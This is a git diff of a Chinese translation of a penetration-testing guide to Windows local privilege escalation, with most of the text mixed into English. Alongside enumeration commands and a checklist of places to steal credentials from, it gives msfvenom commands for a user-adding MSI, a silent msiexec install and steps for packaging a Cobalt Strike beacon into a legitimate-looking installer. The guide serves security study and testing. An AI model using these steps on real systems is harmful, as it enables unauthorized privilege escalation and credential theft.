[**AV**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/windows-av-bypass/README.md) - [ ] [**AppLocker Policy**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/authentication-credentials-uac-and-efs/README.md#applocker-policy)? - [ ] [**UAC**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control/README.md) - [ ] [**User Privileges**](windows-local-privilege-escalation/index.html#users-and-groups) -- [ ] 检查 [**current** user **privileges**](windows-local-privilege-escalation/index.html#users-and-groups) -- [ ] 你是否为 [**member of any privileged group**](windows-local-privilege-escalation/index.html#privileged-groups)? -- [ ] 检查你是否启用以下任何 token: **SeImpersonatePrivilege, SeAssignPrimaryPrivilege, SeTcbPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeCreateTokenPrivilege, SeLoadDriverPrivilege, SeTakeOwnershipPrivilege, SeDebugPrivilege** ? +- [ ] 检查当前用户的 **privileges** (权限) (查看 [**current** user **privileges**](windows-local-privilege-escalation/index.html#users-and-groups)) +- [ ] 你是 [**member of any privileged group**](windows-local-privilege-escalation/index.html#privileged-groups) 吗? +- [ ] 检查是否拥有 [any of these tokens enabled](windows-local-privilege-escalation/index.html#token-manipulation): **SeImpersonatePrivilege, SeAssignPrimaryPrivilege, SeTcbPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeCreateTokenPrivilege, SeLoadDriverPrivilege, SeTakeOwnershipPrivilege, SeDebugPrivilege** ? - [ ] [**Users Sessions**](windows-local-privilege-escalation/index.html#logged-users-sessions)? -- [ ] 检查 [**users homes**](windows-local-privilege-escalation/index.html#home-folders)(访问?) +- [ ] 检查 [**users homes**](windows-local-privilege-escalation/index.html#home-folders)(访问权限?) - [ ] 检查 [**Password Policy**](windows-local-privilege-escalation/index.html#password-policy) -- [ ] 剪贴板中有什么? [**inside the Clipboard**](windows-local-privilege-escalation/index.html#get-the-content-of-the-clipboard)? +- [ ] 查看剪贴板中有什么内容 [**inside the Clipboard**](windows-local-privilege-escalation/index.html#get-the-content-of-the-clipboard)? ### [Network](windows-local-privilege-escalation/index.html#network) -- [ ] 检查 **current** [**network** **information**](windows-local-privilege-escalation/index.html#network) -- [ ] 检查受限于外部的隐藏本地服务 +- [ ] 检查当前的 [**network** **information**](windows-local-privilege-escalation/index.html#network) +- [ ] 检查对外受限的 **hidden local services** ### [Running Processes](windows-local-privilege-escalation/index.html#running-processes) -- [ ] 检查进程二进制的 [**file and folders permissions**](windows-local-privilege-escalation/index.html#file-and-folder-permissions) +- [ ] 进程二进制文件和文件夹的 [**file and folders permissions**](windows-local-privilege-escalation/index.html#file-and-folder-permissions) - [ ] [**Memory Password mining**](windows-local-privilege-escalation/index.html#memory-password-mining) - [ ] [**Insecure GUI apps**](windows-local-privilege-escalation/index.html#insecure-gui-apps) -- [ ] 通过 `ProcDump.exe` 使用 **interesting processes** 窃取凭据?(firefox, chrome, etc ...) +- [ ] 使用 `ProcDump.exe` 从有价值的进程窃取凭据?(firefox, chrome 等) ### [Services](windows-local-privilege-escalation/index.html#services) -- [ ] [Can you **modify any service**?](windows-local-privilege-escalation/index.html#permissions) -- [ ] [Can you **modify** the **binary** that is **executed** by any **service**?](windows-local-privilege-escalation/index.html#modify-service-binary-path) -- [ ] [Can you **modify** the **registry** of any **service**?](windows-local-privilege-escalation/index.html#services-registry-modify-permissions) -- [ ] [Can you take advantage of any **unquoted service** binary **path**?](windows-local-privilege-escalation/index.html#unquoted-service-paths) +- [ ] 能否 **modify any service**?(修改任何服务?) (查看权限) +- [ ] 能否 **modify** 服务所 **执行的 binary**?(修改服务执行的二进制文件?) +- [ ] 能否 **modify** 任何服务的 **registry**?(修改服务注册表?) +- [ ] 能否利用任何 **unquoted service** binary **path**?(未引用的服务路径?) ### [**Applications**](windows-local-privilege-escalation/index.html#applications) -- [ ] **Write** [**permissions on installed applications**](windows-local-privilege-escalation/index.html#write-permissions) +- [ ] 安装的应用是否有 **write** [**permissions on installed applications**](windows-local-privilege-escalation/index.html#write-permissions) - [ ] [**Startup Applications**](windows-local-privilege-escalation/index.html#run-at-startup) - [ ] **Vulnerable** [**Drivers**](windows-local-privilege-escalation/index.html#drivers) ### [DLL Hijacking](windows-local-privilege-escalation/index.html#path-dll-hijacking) -- [ ] 你可以在 PATH 的任何文件夹中写入吗? -- [ ] 是否存在任何已知服务二进制尝试加载不存在的 DLL? -- [ ] 你可以在任何 **binaries folder** 中写入吗? +- [ ] 你能否 **write in any folder inside PATH**? +- [ ] 是否有已知的服务二进制会尝试加载不存在的 DLL? +- [ ] 你能否 **write** 到任何 **binaries folder**? ### [Network](windows-local-privilege-escalation/index.html#network) @@ -77,39 +77,39 @@ ### [Windows Credentials](windows-local-privilege-escalation/index.html#windows-credentials) - [ ] [**Winlogon** ](windows-local-privilege-escalation/index.html#winlogon-credentials) 凭据 -- [ ] [**Windows Vault**](windows-local-privilege-escalation/index.html#credentials-manager-windows-vault) 中可用的凭据? -- [ ] 有趣的 [**DPAPI credentials**](windows-local-privilege-escalation/index.html#dpapi)? -- [ ] 已保存的 [**Wifi networks**](windows-local-privilege-escalation/index.html#wifi) 密码? -- [ ] [**saved RDP Connections**](windows-local-privilege-escalation/index.html#saved-rdp-connections) 中有有趣信息? -- [ ] [**recently run commands**](windows-local-privilege-escalation/index.html#recently-run-commands) 中有密码? -- [ ] [**Remote Desktop Credentials Manager**](windows-local-privilege-escalation/index.html#remote-desktop-credential-manager) 密码? -- [ ] [**AppCmd.exe** exists](windows-local-privilege-escalation/index.html#appcmd-exe)? Credentials? -- [ ] [**SCClient.exe**](windows-local-privilege-escalation/index.html#scclient-sccm)? DLL Side Loading? +- [ ] 有可用的 [**Windows Vault**](windows-local-privilege-escalation/index.html#credentials-manager-windows-vault) 凭据吗? +- [ ] 有有价值的 [**DPAPI credentials**](windows-local-privilege-escalation/index.html#dpapi) 吗? +- [ ] 保存的 [**Wifi networks**](windows-local-privilege-escalation/index.html#wifi) 的密码? +- [ ] [**saved RDP Connections**](windows-local-privilege-escalation/index.html#saved-rdp-connections) 中有有趣信息吗? +- [ ] [**recently run commands**](windows-local-privilege-escalation/index.html#recently-run-commands) 中有密码吗? +- [ ] [**Remote Desktop Credentials Manager**](windows-local-privilege-escalation/index.html#remote-desktop-credential-manager) 的密码? +- [ ] [**AppCmd.exe** exists](windows-local-privilege-escalation/index.html#appcmd-exe)?凭据? +- [ ] [**SCClient.exe**](windows-local-privilege-escalation/index.html#scclient-sccm)?DLL Side Loading? ### [Files and Registry (Credentials)](windows-local-privilege-escalation/index.html#files-and-registry-credentials) - [ ] **Putty:** [**Creds**](windows-local-privilege-escalation/index.html#putty-creds) **and** [**SSH host keys**](windows-local-privilege-escalation/index.html#putty-ssh-host-keys) -- [ ] [**SSH keys in registry**](windows-local-privilege-escalation/index.html#ssh-keys-in-registry)? -- [ ] [**unattended files**](windows-local-privilege-escalation/index.html#unattended-files) 中有密码? -- [ ] 是否有任何 [**SAM & SYSTEM**](windows-local-privilege-escalation/index.html#sam-and-system-backups) 备份? -- [ ] [**Cloud credentials**](windows-local-privilege-escalation/index.html#cloud-credentials)? -- [ ] 有 **McAfee SiteList.xml** 文件吗?([**McAfee SiteList.xml**](windows-local-privilege-escalation/index.html#mcafee-sitelist.xml)) -- [ ] [**Cached GPP Password**](windows-local-privilege-escalation/index.html#cached-gpp-pasword)? -- [ ] 在 [**IIS Web config file**](windows-local-privilege-escalation/index.html#iis-web-config) 中有密码? -- [ ] [**web** **logs**](windows-local-privilege-escalation/index.html#logs) 中有有趣信息? -- [ ] 想要向用户 [**ask for credentials**](windows-local-privilege-escalation/index.html#ask-for-credentials) 吗? -- [ ] 回收站中的有趣 [**files inside the Recycle Bin**](windows-local-privilege-escalation/index.html#credentials-in-the-recyclebin)? -- [ ] 其他包含凭据的 [**registry containing credentials**](windows-local-privilege-escalation/index.html#inside-the-registry)? -- [ ] 浏览器数据中(dbs, history, bookmarks, ...)有内容? [**inside Browser data**](windows-local-privilege-escalation/index.html#browsers-history) +- [ ] 注册表中有 [**SSH keys in registry**](windows-local-privilege-escalation/index.html#ssh-keys-in-registry)? +- [ ] [**unattended files**](windows-local-privilege-escalation/index.html#unattended-files) 中有密码吗? +- [ ] 有任何 [**SAM & SYSTEM**](windows-local-privilege-escalation/index.html#sam-and-system-backups) 备份吗? +- [ ] 有 [**Cloud credentials**](windows-local-privilege-escalation/index.html#cloud-credentials) 吗? +- [ ] 有 [**McAfee SiteList.xml**](windows-local-privilege-escalation/index.html#mcafee-sitelist.xml) 文件吗? +- [ ] 有 [**Cached GPP Password**](windows-local-privilege-escalation/index.html#cached-gpp-pasword) 吗? +- [ ] [**IIS Web config file**](windows-local-privilege-escalation/index.html#iis-web-config) 中有密码吗? +- [ ] 日志中有有趣信息吗?[**web** **logs**](windows-local-privilege-escalation/index.html#logs) +- [ ] 想要向用户请求凭据吗?[**ask for credentials**](windows-local-privilege-escalation/index.html#ask-for-credentials) +- [ ] 回收站中的有趣文件?[**files inside the Recycle Bin**](windows-local-privilege-escalation/index.html#credentials-in-the-recyclebin) +- [ ] 其他包含凭据的 [**registry containing credentials**](windows-local-privilege-escalation/index.html#inside-the-registry) +- [ ] 浏览器数据中有有价值信息吗?[**Browser data**](windows-local-privilege-escalation/index.html#browsers-history) (dbs, history, bookmarks, ...) - [ ] 在文件和注册表中进行 [**Generic password search**](windows-local-privilege-escalation/index.html#generic-password-search-in-files-and-registry) -- [ ] 使用 [**Tools**](windows-local-privilege-escalation/index.html#tools-that-search-for-passwords) 自动搜索密码 +- [ ] 使用可以自动搜索密码的 [**Tools**](windows-local-privilege-escalation/index.html#tools-that-search-for-passwords) ### [Leaked Handlers](windows-local-privilege-escalation/index.html#leaked-handlers) -- [ ] 你是否可以访问由管理员运行的进程的任何句柄? +- [ ] 你能访问由管理员运行的进程的任何 handler 吗? ### [Pipe Client Impersonation](windows-local-privilege-escalation/index.html#named-pipe-client-impersonation) -- [ ] 检查是否可以滥用它 +- [ ] 检查是否可以滥用 {{#include ../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/windows-local-privilege-escalation/README.md b/src/windows-hardening/windows-local-privilege-escalation/README.md index 79761b86b..de9c9a900 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/README.md +++ b/src/windows-hardening/windows-local-privilege-escalation/README.md @@ -1,8 +1,8 @@ -# Windows Local Privilege Escalation +# Windows 本地权限提升 {{#include ../../banners/hacktricks-training.md}} -### **查找 Windows local privilege escalation 向量 的最佳工具:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) +### **查找 Windows 本地权限提升向量的最佳工具:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) ## Initial Windows Theory @@ -26,27 +26,27 @@ acls-dacls-sacls-aces.md ### Integrity Levels -**如果你不知道 Windows 中的 integrity levels 是什么,应该在继续之前阅读以下页面:** +**如果你不知道 Windows 中的完整性级别(Integrity Levels)是什么,应该在继续之前阅读以下页面:** {{#ref}} integrity-levels.md {{#endref}} -## Windows Security Controls +## Windows 安全控制 -Windows 中有不同的机制可能会**阻止你枚举系统**、运行可执行文件或甚至**检测你的活动**。在开始 privilege escalation 枚举之前,你应该**阅读**下面的**页面**并**枚举**所有这些**防御****机制**: +Windows 中存在多种机制可能会**阻止你枚举系统**、阻止你运行可执行文件,或甚至**检测到你的活动**。在开始权限提升枚举之前,你应该**阅读**以下**页面**并**枚举**所有这些**防御****机制**: {{#ref}} ../authentication-credentials-uac-and-efs/ {{#endref}} -## System Info +## 系统信息 -### Version info enumeration +### 版本信息枚举 -检查 Windows 版本是否存在任何已知漏洞(也检查已应用的补丁)。 +检查该 Windows 版本是否存在已知漏洞(也检查已应用的补丁)。 ```bash systeminfo systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information @@ -59,23 +59,23 @@ wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get system architec Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches Get-Hotfix -description "Security update" #List only "Security Update" patches ``` -### 版本漏洞利用 +### 版本 Exploits -This [site](https://msrc.microsoft.com/update-guide/vulnerability) 非常适合检索有关 Microsoft 安全漏洞的详细信息。该数据库包含超过 4,700 个安全漏洞,显示了 Windows 环境所呈现的 **巨大的攻击面**。 +这个 [site](https://msrc.microsoft.com/update-guide/vulnerability) 非常适合搜索有关 Microsoft 安全漏洞 的详细信息。这个数据库包含超过 4,700 个安全漏洞,显示了 Windows 环境所呈现的 **massive attack surface**。 **在系统上** - _post/windows/gather/enum_patches_ - _post/multi/recon/local_exploit_suggester_ - [_watson_](https://github.com/rasta-mouse/Watson) -- [_winpeas_](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) _(Winpeas 嵌入了 watson)_ +- [_winpeas_](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) _(Winpeas 内置了 watson)_ -**在本地(使用系统信息)** +**在本地使用系统信息** - [https://github.com/AonCyberLabs/Windows-Exploit-Suggester](https://github.com/AonCyberLabs/Windows-Exploit-Suggester) - [https://github.com/bitsadmin/wesng](https://github.com/bitsadmin/wesng) -**Github 漏洞利用仓库:** +**Github 上的 exploits 仓库:** - [https://github.com/nomi-sec/PoC-in-GitHub](https://github.com/nomi-sec/PoC-in-GitHub) - [https://github.com/abatchy17/WindowsExploits](https://github.com/abatchy17/WindowsExploits) @@ -83,7 +83,7 @@ This [site](https://msrc.microsoft.com/update-guide/vulnerability) 非常适合 ### 环境 -有任何凭证/敏感信息保存在环境变量中吗? +是否有任何 credential/Juicy info 保存在 env variables 中? ```bash set dir env: @@ -99,9 +99,9 @@ type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.tx cat (Get-PSReadlineOption).HistorySavePath cat (Get-PSReadlineOption).HistorySavePath | sls passw ``` -### PowerShell 转录文件 +### PowerShell Transcript 文件 -您可以在 [https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/](https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/) 学习如何启用它。 +你可以在 [https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/](https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/) 学习如何启用此功能。 ```bash #Check is enable in the registry reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\Transcription @@ -116,30 +116,30 @@ Stop-Transcript ``` ### PowerShell Module Logging -PowerShell 管道执行的详细信息会被记录,包括已执行的命令、命令调用和脚本的部分内容。然而,完整的执行细节和输出结果可能不会被全部捕获。 +记录了 PowerShell 管道执行的详细信息,包括已执行的命令、命令调用以及脚本的部分内容。然而,完整的执行细节和输出结果可能不会被全部捕获。 -要启用此功能,请按照文档中 "Transcript files" 部分的说明进行操作,选择 **"Module Logging"** 而不是 **"Powershell Transcription"**。 +要启用此功能,请遵循文档中 "Transcript files" 部分的说明,选择 **"Module Logging"** 而不是 **"Powershell Transcription"**。 ```bash reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging ``` -要查看 PowersShell 日志中的最近 15 条事件,可以执行: +要查看来自 PowersShell 日志的最后 15 条事件,您可以执行: ```bash Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView ``` ### PowerShell **Script Block Logging** -捕获脚本执行的完整活动和内容记录,确保每个代码块在运行时都被记录。此过程保留了每项活动的全面审计轨迹,对取证和分析恶意行为非常有价值。通过在执行时记录所有活动,可获得对该过程的详细洞察。 +会捕获脚本执行的完整活动和全部内容记录,确保每一段代码在运行时都被记录。该过程保留了每次活动的全面审计追踪,对于取证和分析恶意行为非常有价值。通过在执行时记录所有活动,可获得关于该过程的详细洞察。 ```bash reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging ``` -Script Block 的日志事件可以在 Windows 事件查看器中通过以下路径找到:**Application and Services Logs > Microsoft > Windows > PowerShell > Operational**。\ -要查看最近 20 条事件,你可以使用: +Script Block 的日志事件可以在 Windows Event Viewer 中的路径找到:**Application and Services Logs > Microsoft > Windows > PowerShell > Operational**.\ +要查看最近 20 个事件,你可以使用: ```bash Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first 20 | Out-Gridview ``` @@ -156,17 +156,17 @@ Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ``` ## WSUS -如果更新请求不是使用 http**S** 而是使用 http,则可以攻陷该系统。 +如果更新不是通过 http**S** 而是通过 http 请求,你可以入侵该系统。 首先通过在 cmd 中运行以下命令来检查网络是否使用非 SSL 的 WSUS 更新: ``` reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer ``` -或者在 PowerShell 中执行以下内容: +或者在 PowerShell 中运行以下命令: ``` Get-ItemProperty -Path HKLM:\Software\Policies\Microsoft\Windows\WindowsUpdate -Name "WUServer" ``` -如果你收到如下回复: +如果你收到如下任一回复: ```bash HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate WUServer REG_SZ http://xxxx-updxx.corp.internal.com:8535 @@ -182,14 +182,11 @@ PSProvider : Microsoft.PowerShell.Core\Registry ``` And if `HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer` or `Get-ItemProperty -Path hklm:\software\policies\microsoft\windows\windowsupdate\au -name "usewuserver"` is equals to `1`. -那么,**它是可被利用的**。如果最后一个注册表项等于 0,则该 WSUS 条目将被忽略。 +Then, **it is exploitable.** If the last registry is equals to 0, then, the WSUS entry will be ignored. In orther to exploit this vulnerabilities you can use tools like: [Wsuxploit](https://github.com/pimps/wsuxploit), [pyWSUS ](https://github.com/GoSecure/pywsus)- These are MiTM weaponized exploits scripts to inject 'fake' updates into non-SSL WSUS traffic. -为了利用这些漏洞,你可以使用如下工具: [Wsuxploit](https://github.com/pimps/wsuxploit)、[pyWSUS](https://github.com/GoSecure/pywsus) —— 这些是用于 MiTM 的武器化利用脚本,用于向非 SSL 的 WSUS 流量注入“伪造”更新。 - -Read the research here: - +阅读该研究: {{#file}} CTX_WSUSpect_White_Paper (1).pdf {{#endfile}} @@ -197,19 +194,18 @@ CTX_WSUSpect_White_Paper (1).pdf **WSUS CVE-2020-1013** [**Read the complete report here**](https://www.gosecure.net/blog/2020/09/08/wsus-attacks-part-2-cve-2020-1013-a-windows-10-local-privilege-escalation-1-day/).\ -基本上,这是该漏洞所利用的缺陷: +Basically, this is the flaw that this bug exploits: -> 如果我们有权限修改本地用户代理(local user proxy),并且 Windows Updates 使用 Internet Explorer 设置中配置的代理,那么我们就可以在本地运行 [PyWSUS](https://github.com/GoSecure/pywsus) 来拦截自己的流量,并以提升的用户权限在本地运行代码。 +> 如果我们能够修改本地用户代理,并且 Windows Updates 使用 Internet Explorer 设置中配置的代理,则我们可以在本地运行 [PyWSUS](https://github.com/GoSecure/pywsus) 来拦截自己的流量,并以提升的用户身份在我们的资产上运行代码。 > -> 此外,由于 WSUS 服务使用当前用户的设置,它也会使用当前用户的证书存储。如果我们为 WSUS 主机名生成一个自签名证书并将其添加到当前用户的证书存储中,就能够同时拦截 HTTP 和 HTTPS 的 WSUS 流量。WSUS 没有类似 HSTS 的机制来对证书实施首次使用即信任(trust-on-first-use)类型的验证。如果所呈现的证书被用户信任并具有正确的主机名,服务就会接受该证书。 +> 此外,由于 WSUS 服务使用当前用户的设置,它也会使用当前用户的证书存储。如果我们为 WSUS 主机名生成自签名证书并将其添加到当前用户的证书存储中,我们就能够拦截 HTTP 和 HTTPS 的 WSUS 流量。WSUS 不使用类似 HSTS 的机制来对证书实施首次信任(trust-on-first-use)类型的验证。如果提供的证书被用户信任且具有正确的主机名,服务将接受它。 You can exploit this vulnerability using the tool [**WSUSpicious**](https://github.com/GoSecure/wsuspicious) (once it's liberated). -你可以使用工具 [**WSUSpicious**](https://github.com/GoSecure/wsuspicious)(一旦发布)来利用此漏洞。 - ## Third-Party Auto-Updaters and Agent IPC (local privesc) -许多企业 agent 会暴露一个 localhost IPC 接口和一个特权更新通道。如果能够将注册(enrollment)强制指向攻击者服务器,且更新程序信任伪造的根 CA 或签名检查薄弱,则本地用户可以投递一个恶意 MSI,由 SYSTEM 服务安装。参见基于 Netskope stAgentSvc 链(CVE-2025-0309)的一般化技术: +Many enterprise agents expose a localhost IPC surface and a privileged update channel. If enrollment can be coerced to an attacker server and the updater trusts a rogue root CA or weak signer checks, a local user can deliver a malicious MSI that the SYSTEM service installs. See a generalized technique (based on the Netskope stAgentSvc chain – CVE-2025-0309) here: + {{#ref}} abusing-auto-updaters-and-ipc.md @@ -217,17 +213,15 @@ abusing-auto-updaters-and-ipc.md ## KrbRelayUp -在 Windows **domain** 环境中存在一个 **local privilege escalation** 漏洞,但需满足特定条件。条件包括:环境未强制启用 **LDAP signing**、用户拥有允许其配置 **Resource-Based Constrained Delegation (RBCD)** 的自有权限,以及用户能够在域内创建计算机。需要注意的是,这些**要求**在**默认设置**下即已满足。 +A **local privilege escalation** vulnerability exists in Windows **domain** environments under specific conditions. These conditions include environments where **LDAP signing is not enforced,** users possess self-rights allowing them to configure **Resource-Based Constrained Delegation (RBCD),** and the capability for users to create computers within the domain. It is important to note that these **requirements** are met using **default settings**. Find the **exploit in** [**https://github.com/Dec0ne/KrbRelayUp**](https://github.com/Dec0ne/KrbRelayUp) -有关攻击流程的更多信息,详见 https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/ +For more information about the flow of the attack check [https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/](https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/) ## AlwaysInstallElevated **If** these 2 registers are **enabled** (value is **0x1**), then users of any privilege can **install** (execute) `*.msi` files as NT AUTHORITY\\**SYSTEM**. - -**如果** 这两个注册表项被**启用**(值为 **0x1**),那么任意权限的用户都可以以 NT AUTHORITY\\**SYSTEM** 的身份**安装**(执行)`*.msi` 文件。 ```bash reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated @@ -237,20 +231,19 @@ reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallEle msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o alwe.msi #No uac format msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.msi #Using the msiexec the uac wont be prompted ``` -如果你有一个 meterpreter 会话,可以使用模块 **`exploit/windows/local/always_install_elevated`** 来自动化此技术 +如果你有一个 meterpreter 会话,你可以使用模块 **`exploit/windows/local/always_install_elevated`** 来自动化此技术 ### PowerUP -使用 power-up 的 `Write-UserAddMSI` 命令在当前目录中创建一个用于提升权限的 Windows MSI 二进制文件。该脚本写出一个预编译的 MSI 安装程序,提示添加用户/组(因此你将需要 GIU 访问): +使用 power-up 的 `Write-UserAddMSI` 命令在当前目录中创建一个 Windows MSI 二进制文件以提升权限。该脚本写出一个预编译的 MSI 安装程序,该安装程序会提示添加 user/group(因此你需要 GIU 访问): ``` Write-UserAddMSI ``` -只需执行创建的二进制文件即可提升权限。 +只需执行已创建的二进制文件以提升权限。 ### MSI 包装器 -阅读本教程以了解如何使用这些工具创建 MSI 包装器。注意,如果你**只是**想**执行** **命令行**,你可以封装一个 "**.bat**" 文件 - +阅读本教程以了解如何使用这些工具创建 MSI 包装器。请注意,如果您**只是**想**执行**命令行,可以将 "**.bat**" 文件进行包装。 {{#ref}} msi-wrapper.md @@ -258,51 +251,51 @@ msi-wrapper.md ### 使用 WIX 创建 MSI - {{#ref}} create-msi-with-wix.md {{#endref}} ### 使用 Visual Studio 创建 MSI -- **生成**:使用 Cobalt Strike 或 Metasploit 在 `C:\privesc\beacon.exe` 生成一个 **新的 Windows EXE TCP payload** -- 打开 **Visual Studio**,选择 **Create a new project** 并在搜索框中输入 "installer"。选择 **Setup Wizard** 项目并点击 **Next**。 -- 给项目命名,例如 **AlwaysPrivesc**,使用 **`C:\privesc`** 作为位置,选择 **place solution and project in the same directory**,然后点击 **Create**。 -- 不断点击 **Next**,直到到达第 3 步(选择要包含的文件)。点击 **Add** 并选择你刚生成的 Beacon payload。然后点击 **Finish**。 +- 使用 Cobalt Strike 或 Metasploit **生成** 一个 **新的 Windows EXE TCP payload** 到 `C:\privesc\beacon.exe` +- 打开 **Visual Studio**,选择 **Create a new project**,在搜索框中输入 "installer"。选择 **Setup Wizard** 项目并点击 **Next**。 +- 为项目命名,例如 **AlwaysPrivesc**,将位置设置为 **`C:\privesc`**,选择 **place solution and project in the same directory**,然后点击 **Create**。 +- 不断点击 **Next**,直到到达第 3 步(共 4 步)(选择要包含的文件)。点击 **Add** 并选择你刚生成的 Beacon payload。然后点击 **Finish**。 - 在 **Solution Explorer** 中选中 **AlwaysPrivesc** 项目,在 **Properties** 中将 **TargetPlatform** 从 **x86** 改为 **x64**。 -- 你可以更改其他属性,例如 **Author** 和 **Manufacturer**,这些可以让已安装的应用看起来更可信。 +- 你还可以更改其他属性,例如 **Author** 和 **Manufacturer**,以使安装的应用看起来更合法。 - 右键项目并选择 **View > Custom Actions**。 - 右键 **Install** 并选择 **Add Custom Action**。 -- 双击 **Application Folder**,选择你的 **beacon.exe** 文件并点击 **OK**。这将确保安装程序运行时立即执行 beacon payload。 +- 双击 **Application Folder**,选择你的 **beacon.exe** 文件并点击 **OK**。这将确保 beacon payload 在安装程序运行时立即被执行。 - 在 **Custom Action Properties** 下,将 **Run64Bit** 改为 **True**。 - 最后,**构建**。 -- 如果显示警告 `File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86'`,请确保将平台设置为 x64。 +- 如果出现警告 `File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86'`,请确保将平台设置为 x64。 ### MSI 安装 -要在**后台**执行恶意 `.msi` 文件的**安装**: +要在后台执行恶意 `.msi` 文件的 **安装**: ``` msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi ``` -要利用此漏洞你可以使用: _exploit/windows/local/always_install_elevated_ +要利用此漏洞,你可以使用:_exploit/windows/local/always_install_elevated_ -## 防病毒和检测器 +## Antivirus and Detectors ### 审计设置 -这些设置决定了哪些内容会被**记录**,所以你应该注意 +这些设置决定了哪些内容会被**记录**,因此你应该注意。 ``` reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit ``` ### WEF -Windows Event Forwarding, 值得了解日志被发送到哪里 +Windows Event Forwarding,了解日志被发送到何处很重要 ```bash reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\SubscriptionManager ``` ### LAPS -**LAPS** 旨在用于 **本地 Administrator 密码 的管理**,确保每个密码在加入域的计算机上都是 **唯一、随机化并定期更新的**。这些密码被安全地存储在 Active Directory 中,只有通过 ACLs 授予足够权限的用户才能访问,允许他们在被授权的情况下查看本地管理员密码。 +**LAPS** 旨在管理本地 Administrator 密码,确保在加入域的计算机上每个密码都是唯一、随机且定期更新的。这些密码安全地存储在 Active Directory 中,只有通过 ACLs 被授予足够权限的用户才能访问,从而在被授权时查看 local admin 密码。 + {{#ref}} ../active-directory-methodology/laps.md @@ -315,23 +308,23 @@ reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\Subs ```bash reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v UseLogonCredential ``` -### LSA 保护 +### LSA Protection -从 **Windows 8.1** 起,Microsoft 为 Local Security Authority (LSA) 引入了增强保护,以 **阻止** 不受信任进程 **读取其内存** 或注入代码的尝试,从而进一步提高系统安全。\ -[**有关 LSA 保护的更多信息**](../stealing-credentials/credentials-protections.md#lsa-protection). +从 **Windows 8.1** 起,Microsoft 为 Local Security Authority (LSA) 引入了增强保护,以 **阻止** 不受信任进程 **读取其内存** 或注入代码的尝试,进一步保护系统。\ +[**More info about LSA Protection here**](../stealing-credentials/credentials-protections.md#lsa-protection). ```bash reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL ``` ### Credentials Guard -**Credential Guard** 在 **Windows 10** 中引入。其目的是保护设备上存储的凭据,防止诸如 pass-the-hash 攻击之类的威胁。| [**More info about Credentials Guard here.**](../stealing-credentials/credentials-protections.md#credential-guard) +**Credential Guard** 在 **Windows 10** 中被引入。它的目的是保护存储在设备上的凭证免受诸如 pass-the-hash 攻击 的威胁。| [**More info about Credentials Guard here.**](../stealing-credentials/credentials-protections.md#credential-guard) ```bash reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags ``` -### 缓存凭据 +### Cached Credentials -**域凭据**由**本地安全机构** (LSA) 进行身份验证,并被操作系统组件使用。当用户的登录数据被已注册的安全包认证时,通常会为该用户建立域凭据.\\ 